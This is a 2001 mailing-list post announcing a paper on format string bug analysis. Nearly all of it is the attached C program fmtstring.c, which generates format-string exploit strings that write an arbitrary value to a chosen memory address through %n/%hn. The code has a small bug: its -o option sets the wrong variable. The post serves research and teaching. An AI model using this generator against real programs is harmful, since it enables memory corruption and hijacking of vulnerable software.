|
Vulnerability Development
mailing list archives
Paper: Format String Bug Analysis
From: Andreas Thuemmel <a.thuemmel () WEB DE>
Date: Thu, 1 Mar 2001 08:53:18 +0100
Hello,
I've written a little paper on the analysis of exploits based
on format string bugs. The paper can be found at
http://www.securityfocus.com/data/library/format-bug-analysis.pdf
Enclosed you find the example code given in the appendix of the
paper that can be used in order to experiment with format strings.
Cheers,
Andreas
/* fmtstring.c
*
* "Format String Bug" example code
*
* by Andreas Thuemmel, November 2000
* a.thuemmel () computer org
*
*/
/*
* int gen_exploit_str(
* char *fmt,
* int n,
* void *mm,
* unsigned int k,
* int string_offset,
* int dollar_flag,
* int bigendian,
* int words
* )
* Create an exploit string in order to write an arbitrary
* value to an almost arbitrary address in memory via a
* "Format String Bug". In order for the string to be usable, it has
* to be stored on the stack somewhere above the frame of the
* *printf function that reads the string.
*
* Arguments:
*
* fmt - pointer to a buffer that will hold the resulting string
* (the buffer has to be long enaough to hold the string!),
* n - number of bytes to walk up the stack in order to find the
* format string,
* mm - memory address to overwrite,
* kk - value to write.
*
* Options:
*
* string_offset - number of chars in _final_ format string that
* preceed the exp.-string, e.g. for iterated *printfs
* (set to 0 most of the times)
* if dollar_flag != 0 then use "$" format statement to walk up
* the stack
* if bigendian != 0 then assume bigendian format (beware! untested)
* if words != 0 then do 2 short int writes instead of 4 byte writes
*
* Assumption: sizeof(int)=4, sizeof(short int)=2, sizeof(int*)=4
* Returns:
*
* -1 if the memory address (mm) is not writable,
* length of the exploit string otherwise
*
* by Andreas Thuemmel, November 2000
* a.thuemmel () computer org
*
*/
#include <string.h>
#include <stdio.h>
int gen_exploit_str(char *fmt, int n, void *mm, unsigned int k,
int string_offset, int dollar_flag, int bigendian,
int words)
{
int i, nn = n + string_offset;
int plen = string_offset; /* length of *printf's output string */
int slen = 0; /* length of exploit string */
int stepup; /* # of bytes/4 to walk up the stack to find %n args */
int inc,shift;
if (words)
inc = 2, shift = 0x10000;
else
inc = 1, shift = 0x100;
/* Adjust nn to a multiple of 4, as we can only walk up
* the stack in steps of at least 4 bytes. Pad the
* string as necessary.
*/
if (nn%4>0)
{
for (i=0; i<nn%4; i++)
{
sprintf(fmt+slen,"A");
slen++;
plen++;
nn++;
}
}
stepup = nn/4;
/* Write the "arguments" for %n at the head of the
* string. We do 4 separate 'short int' writes via %hn.
* One for every byte of k. Thus mm, mm+1, mm+2, mm+3
* are written to. None of them must contain a 0x00-byte.
*/
for (i=0; i<4; i+=inc)
{
unsigned int b0,b1,b2,b3, mem;
if (bigendian)
mem = (unsigned int)mm-i;
else
mem = (unsigned int)mm+i;
b0 = mem&0xff;
b1 = (mem>>8)&0xff;
b2 = (mem>>16)&0xff;
b3 = (mem>>24)&0xff;
if ( b0*b1*b2*b3 == 0 )
{
return -1;
}
if (bigendian)
sprintf(fmt+slen," %c%c%c%c",b3,b2,b1,b0);
else
sprintf(fmt+slen," %c%c%c%c",b0,b1,b2,b3);
slen += 8;
plen += 8;
}
/* Write the actual %n format commands. In front
* of every "%n" walk up the stack stepup*4 bytes
* (by "$"-jumps if dollar_flag!=0, by stepup "%x"s otherwise)
* in order to find our string that contains the memory
* addresses to write to and adjust the length of
* output string appropriately via length (".")
* formated hexadecimal integer writes ("x").
*/
if (!dollar_flag)
{
for (i=0; i<stepup; i++)
{
sprintf(fmt+slen,"%%.8x");
slen += 4;
plen += 8;
}
}
for (i=0; i<4; i+=inc)
{
int p = (k%shift - plen%shift);
if (p<0)
p += shift;
if (p<8)
p += shift;
plen += p;
k /= shift;
if (dollar_flag)
{
sprintf(fmt+slen,"%%%d$.%dx%%%d$hn",stepup+1,p,stepup+2);
stepup += 2;
} else {
sprintf(fmt+slen,"%%.%dx%%hn",p);
}
slen = strlen(fmt);
}
return slen;
}
#include <unistd.h>
int main(int argc, char **argv)
{
char string[4096]; /* yes, I know it's lame but it's late.... */
int n = 0, m = 0, k = 0, off = 0, dollar = 0, big = 0, words = 0;
char ch;
extern int optind, opterr;
extern char *optarg;
while ((ch = getopt(argc, argv, "hdbwn:m:k:o:")) != -1)
switch((char)ch)
{
case 'n':
n = atoi(optarg);
break;
case 'm':
sscanf(optarg,"%x",&m); /* I know... */
break;
case 'k':
sscanf(optarg,"%x",&k);
break;
case 'o':
n = atoi(optarg);
break;
case 'd':
dollar = 1;
break;
case 'b':
big = 1;
break;
case 'w':
words = 1;
break;
case 'h':
default:
puts("Options:");
puts(" -n stack walk up bytes (required)");
puts(" -m memory address to overwrite in hex (required)");
puts(" -k value to write in hex (required)");
puts(" -o offset");
puts(" -d use dollar flag");
puts(" -b big endian target architecture");
puts(" -w use word writes instead of byte writes");
exit(0);
}
if (gen_exploit_str(string,n,(void *)m,k,off,dollar,big,words) != -1)
puts(string);
else {
puts("Address contains a 0x00 byte.");
exit(1);
}
}
______________________________________________________________________________
Die Fachpresse ist sich einig: WEB.DE 18mal Testsieger! Kostenlos E-Mail,
Fax, SMS, Verschlüsselung, POP3, WAP....testen Sie uns! http://freemail.web.de
By Date
By Thread
Current thread:
- Paper: Format String Bug Analysis Andreas Thuemmel (Mar 01)
|